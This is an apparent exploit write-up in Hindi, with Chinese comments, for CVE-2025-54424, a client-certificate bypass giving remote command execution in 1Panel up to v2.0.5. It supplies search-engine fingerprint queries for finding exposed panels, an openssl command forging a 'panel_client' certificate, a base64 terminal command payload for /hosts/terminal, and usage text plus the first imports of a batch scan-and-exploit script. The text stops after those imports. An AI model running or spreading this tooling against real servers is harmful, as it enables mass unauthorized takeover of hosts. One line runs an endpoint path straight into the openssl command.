
CVE-2025-54424: 1Panel क्लाइंट प्रमाणपत्र बाईपास RCE भेद्यता ऑल-इन-वन टूल (स्कैन + एक्सप्लॉइट)
CVE-2025-54424: 1Panel क्लाइंट प्रमाणपत्र बायपास RCE भेद्यता एकीकृत उपकरण (स्कैन + एक्सप्लॉइट)
1Panel एक ओपन-सोर्स, आधुनिक Linux संचालन और रखरखाव प्रबंधन पैनल है, जो वेबसाइट परिनियोजन, सर्वर प्रबंधन और सेवा संचालन के लिए ग्राफिकल इंटरफ़ेस प्रदान करता है।
प्रभावित संस्करणों में, Agent पक्ष की TLS प्रमाणीकरण नीति tls.RequireAnyClientCert है, जो केवल प्रमाणपत्र प्रस्तुत करने की आवश्यकता रखती है लेकिन उसकी विश्वसनीयता को सत्यापित नहीं करती। हमलावर स्व-हस्ताक्षरित प्रमाणपत्र के माध्यम से TLS सत्यापन को बायपास कर सकता है, और CN फ़ील्ड को panel_client के रूप में जाली बनाकर एप्लिकेशन-स्तरीय सत्यापन को बायपास कर सकता है। अंततः हमलावर जाली प्रमाणपत्र बनाकर अनधिकृत कमांड निष्पादन इंटरफ़ेस कॉल कर सकता है, जिससे रिमोट कमांड निष्पादन भेद्यता उत्पन्न होती है।
<= v2.0.5
hunter और fofa फ़िंगरप्रिंटिंग क्वेरी निम्नलिखित हैं
cert.subject_org=="FIT2CLOUD"&&ip.port="9999” || cert.subject.suffix=="panel_server"
cert.subject.org="FIT2CLOUD" && port="9999" && protocol="tls" || cert.subject.cn="panel_server"
GitHub भेद्यता सूचना अनुभाग कॉपी करें

agent/init/router/router.go में प्रवेश करते हैं
Routers फ़ंक्शन में Certificate फ़ंक्शन का संदर्भ देकर वैश्विक सत्यापन किया गया है agent/middleware/certificate.go
Certificate फ़ंक्शन c.Request.TLS.HandshakeComplete के माध्यम से यह जाँचता है कि प्रमाणपत्र संचार हुआ है या नहीं
c.Request.TLS.HandshakeComplete की सत्य/असत्य जाँच agent/server/server.go कोड के Start फ़ंक्शन में tls.RequireAnyClientCert के माध्यम से की जाती है
नोट: यहाँ tls.RequireAndVerifyClientCert के बजाय tls.RequireAnyClientCert का उपयोग किया गया है। RequireAnyClientCert केवल यह आवश्यकता रखता है कि क्लाइंट प्रमाणपत्र प्रस्तुत करे, यह प्रमाणपत्र जारी करने वाले CA को सत्यापित नहीं करता, इसलिए कोई भी स्व-हस्ताक्षरित प्रमाणपत्र TLS हैंडशेक को पार कर सकता है।
Certificate फ़ंक्शन में अन्य जाँचों में केवल यह सत्यापित किया गया कि प्रमाणपत्र का CN फ़ील्ड panel_client है, प्रमाणपत्र जारीकर्ता को सत्यापित नहीं किया गया। अंत में पाया गया कि WebSocket कनेक्शन Proxy-ID सत्यापन को बायपास कर सकता है।
/process/ws
अनुरोध प्रारूप निम्नलिखित है{
"type": "ps", // 数据类型: ps(进程), ssh(SSH会话), net(网络连接), wget(下载进度)
"pid": 123, // 可选,指定进程ID进行筛选
"name": "process_name", // 可选,根据进程名筛选
"username": "user" // 可选,根据用户名筛选
}

/hosts/terminal
अनुरोध प्रारूप निम्नलिखित है{
"type": "cmd",
"data": "d2hvYW1pCg==" // "whoami" 的base64编码,记住不要忘记回车。
}

/containers/terminal/files/wget/processopenssl req -x509 -newkey rsa:2048 -keyout panel_client.key -out panel_client.crt -days 365 -nodes -subj "/CN=panel_client"
मेरे द्वारा विकसित CVE-2025-54424.py स्क्रिप्ट का उपयोग करके बैच डिटेक्शन और एक्सप्लॉइट किया जा सकता है। उपकरण के उपयोग के निर्देश निम्नलिखित हैं
आवश्यक डिपेंडेंसी स्थापित करें pip install websocket-client cryptography PySocks requests
usage: CVE-2025-54424.py [-h] (-u URL | -f FILE) [-o OUTPUT] [-t THREADS]
[--proxy PROXY]
1Panel 客户端证书绕过RCE漏洞 一体化工具 (扫描+利用)
作者: Mrxn https://github.com/Mr-xn
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL 单个目标,进入利用模式。例如: 192.168.1.100:8080
-f FILE, --file FILE 目标文件,进入批量扫描模式。
-o OUTPUT, --output OUTPUT
[扫描模式] 保存漏洞结果的文件名。
-t THREADS, --threads THREADS
[扫描模式] 并发线程数。
--proxy PROXY 为所有请求设置代理。例如: http://127.0.0.1:8080
उदाहरण के लिए, एकल लक्ष्य परीक्षण + कमांड निष्पादन (SSH इंटरैक्टिव कमांड निष्पादन) नीचे चित्र में दर्शाया गया है

import base64
import ssl
import sys
import json
import os
import tempfile
import argparse
import requests
import websocket
import threading
from concurrent.futures import ThreadPoolExecutor, as_completed
from urllib.parse import urlparse
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
import datetime
# 禁用 requests 库在禁用SSL验证时产生的警告
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
# --- 全局变量和线程锁 ---
print_lock = threading.Lock()
exploit_running = True
vulnerable_hosts = []
# --- 核心功能函数 ---